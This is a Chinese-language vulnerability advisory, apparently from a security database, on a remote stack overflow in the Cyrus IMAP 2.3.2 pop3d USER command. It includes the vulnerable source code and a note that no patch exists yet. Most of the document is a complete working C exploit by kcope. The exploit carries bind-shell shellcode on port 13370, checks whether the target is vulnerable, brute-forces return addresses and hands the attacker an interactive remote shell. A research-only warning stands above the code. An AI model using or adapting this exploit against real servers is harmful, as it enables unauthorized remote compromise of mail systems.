发布日期:2006-05-21
更新日期:2006-05-21
受影响系统:
Carnegie Mellon University Cyrus IMAP Server 2.3.2
描述:
BUGTRAQ ID:
18056Cyrus IMAP Server是一款免费开放源代码Interactive Mail Access Protocol (IMAP)协议实现,可使用在Unix和Linux操作系统下。
Cyrus-imapd的pop3d中存在远程溢出漏洞。如果在imapd.conf中Cyrus-imapd将popsubfolders设置为1的话,则攻击者就可以通过向远程pop3d发送超长的USER命令参数触发栈溢出。
在cyrus-imapd-2.3.2/imap/pop3d.c中,每次向pop3 server提供USER命令时都会调用pop3d_canon_user,ulen=0。在char userbuf[MAX_MAILBOX_NAME+1], *p;
...
if (!ulen) ulen = strlen(user);
...
memcpy(userbuf, user, ulen);
userbuf[ulen] = '\0';
这个例程中没有执行长度检查,如果user大于MAX_MAILBOX_NAME+1的话,memcpy就会溢出userbuf缓冲区。
--- snip ---
static int popd_canon_user(sasl_conn_t *conn, void *context,
const char *user, unsigned ulen,
unsigned flags, const char *user_realm,
char *out, unsigned out_max, unsigned *out_ulen)
{
char userbuf[MAX_MAILBOX_NAME+1], *p;
size_t n;
int r;
if (!ulen) ulen = strlen(user);
if (config_getswitch(IMAPOPT_POPSUBFOLDERS)) {
/* make a working copy of the auth[z]id */
memcpy(userbuf, user, ulen);
userbuf[ulen] = '\0';
user = userbuf;
/* See if we're trying to access a subfolder */
if ((p = strchr(userbuf, '+'))) {
n = config_virtdomains ? strcspn(p, "@") : strlen(p);
if (flags & SASL_CU_AUTHZID) {
/* make a copy of the subfolder */
if (popd_subfolder) free(popd_subfolder);
popd_subfolder = xstrndup(p, n);
}
/* strip the subfolder from the auth[z]id */
memmove(p, p+n, strlen(p+n)+1);
ulen -= n;
}
}
r = mysasl_canon_user(conn, context, user, ulen, flags, user_realm,
out, out_max, out_ulen);
if (!r && popd_subfolder && flags == SASL_CU_AUTHZID) {
/* If we're only doing the authzid, put back the subfolder
in case its used in the challenge/response calculation */
n = strlen(popd_subfolder);
if (*out_ulen + n > out_max) {
sasl_seterror(conn, 0, "buffer overflow while canonicalizing");
r = SASL_BUFOVER;
}
else {
p = (config_virtdomains && (p = strchr(out, '@'))) ?
p : out + *out_ulen;
memmove(p+n, p, strlen(p)+1);
memcpy(p, popd_subfolder, n);
*out_ulen += n;
}
}
return r;
}
--- snip ---
<*来源:kcope (
kingcope@gmx.net)
链接:
http://marc.theaimsgroup.com/?l=full-disclosure&m=114821239014171&w=2*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* zeroday warez
* !!! PRIVATE - DONT DISTRIBUTE - PRIVATE !!!
*********************************************
* cyruspop3d.c - cyrus pop3d remote exploit by kcope
* tested on cyrus-imapd-2.3.2,linux
*
* bug found 23 Apr 2006 by kcope
*--------------------------------------------
*
* imapd/pop3d.c line 1830 :
* char userbuf[MAX_MAILBOX_NAME+1], *p;
* ...
* if (!ulen) ulen = strlen(user);
* if (config_getswitch(IMAPOPT_POPSUBFOLDERS)) {
* memcpy(userbuf, user, ulen);
* userbuf[ulen] = '\0';
* ...
* popsubfolders has to be enabled
*
* thnx to blackzero revoguard wY! qobaiashi bogus alex
* Love to Lisa :-)
*********************************************
* !!! PRIVATE - DONT DISTRIBUTE - PRIVATE !!!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>
#define POP3PORT 110
#define BINDPORT 13370
unsigned char shellcode[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";
int do_connect (char *remotehost, int port)
{
static struct hostent *host;
static struct sockaddr_in addr;
static int done=0;
int s;
if (!inet_aton(remotehost, &addr.sin_addr) && (done != 1))
{
host = gethostbyname(remotehost);
if (!host)
{
perror("gethostbyname() failed");
return -1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}
s = socket(PF_INET, SOCK_STREAM, 0);
if (s == -1)
{
close(s);
perror("socket() failed");
return -1;
}
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
close(s);
if (port == POP3PORT) perror("connect() failed");
return -1;
}
done=1;
return s;
}
void do_exploit(int sock, unsigned int returnaddr)
{
char nops[360];
char nops2[100];
char exploitbuffer[1024];
char recvbuf[30];
memset(&nops[0], '\0', sizeof(nops));
memset(&nops[0], 'A', 352);
memset(&nops2[0], '\0', sizeof(nops2));
memset(&nops2[0], 'A', 90);
while (1) {
recv(sock, recvbuf, 1, 0);
if ((recvbuf[0] == '\r') || (recvbuf[0] == '\n')) break;
}
sprintf(exploitbuffer, "USER %s%s%s\r\n", nops, shellcode, nops2);
exploitbuffer[strlen(exploitbuffer)-1] = (returnaddr >> 24) & 0xff;
exploitbuffer[strlen(exploitbuffer)-2] = (returnaddr >> 16) & 0xff;
exploitbuffer[strlen(exploitbuffer)-3] = (returnaddr >> 8) & 0xff;
exploitbuffer[strlen(exploitbuffer)-4] = (returnaddr) & 0xff;
send(sock, exploitbuffer, strlen(exploitbuffer), 0);
recv(sock, recvbuf, sizeof(recvbuf)-1, 0);
}
int do_checkvulnerable(int sock) {
char checkbuffer[1024];
char recvbuffer[10];
memset(&checkbuffer[0], '\0', sizeof(checkbuffer)-1);
memset(&checkbuffer[0], 'A', sizeof(checkbuffer)-2);
checkbuffer[0]='U';
checkbuffer[1]='S';
checkbuffer[2]='E';
checkbuffer[3]='R';
checkbuffer[4]=' ';
checkbuffer[sizeof(checkbuffer)-3]='\r';
checkbuffer[sizeof(checkbuffer)-2]='\n';
while (1) {
recv(sock, recvbuffer, 1, 0);
if ((recvbuffer[0] == '\r') || (recvbuffer[0] == '\n')) break;
}
send(sock, checkbuffer, strlen(checkbuffer), 0);
if (recv(sock, recvbuffer, sizeof(recvbuffer)-1, MSG_WAITALL) < 3)
return 0;
return -1;
}
int do_remote_shell(int sockfd)
{
while(1)
{
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sockfd,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
{
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds))
{
if((cnt=read(0,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(sockfd,buf,cnt);
}
if(FD_ISSET(sockfd,&fds))
{
if((cnt=read(sockfd,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(1,buf,cnt);
}
}
}
}
int main(int argc, char **argv)
{
char remotehost[255];
int s,s2,i;
unsigned int returnaddr;
printf("cyrus pop3d remote exploit [kcope/2006]\n");
if (argc < 3) {
printf("usage: %s <remote host> <brute force start return
address>\n", argv[0]);
printf("eg: %s localhost bfffa000\n", argv[0]);
return 1;
}
strcpy(remotehost, argv[1]); //uhoho
if (sscanf(argv[2], "%8x", &returnaddr) == 0) {
printf("Specify valid start return address\n");
return 1;
}
printf("Checking if vulnerable... ");
s=do_connect(remotehost, POP3PORT);
if (do_checkvulnerable(s) == -1) {
close(s);
printf("\ncyrus pop3d seems not to be vulnerable\nno
popsubfolders defined at remote host?\n");
return 1;
}
close(s);
printf("SUCCESS!\n");
while (returnaddr < 0xbfffffff) {
returnaddr+=16;
printf("CRACKADDR = %4x\n", returnaddr);
fflush(stdout);
s=do_connect(remotehost, POP3PORT);
if (s==-1)
return 1;
do_exploit(s, returnaddr);
for (i=0;i<2;i++) {
if ((s2=do_connect(remotehost, BINDPORT)) != -1) {
printf("\nALEX,ALEX WE GOT IT!!!\n");
do_remote_shell(s2);
return 0;
}
close(s2);
}
close(s);
}
return 0;
}
建议:
厂商补丁:
Carnegie Mellon University
--------------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://asg.web.cmu.edu/cyrus/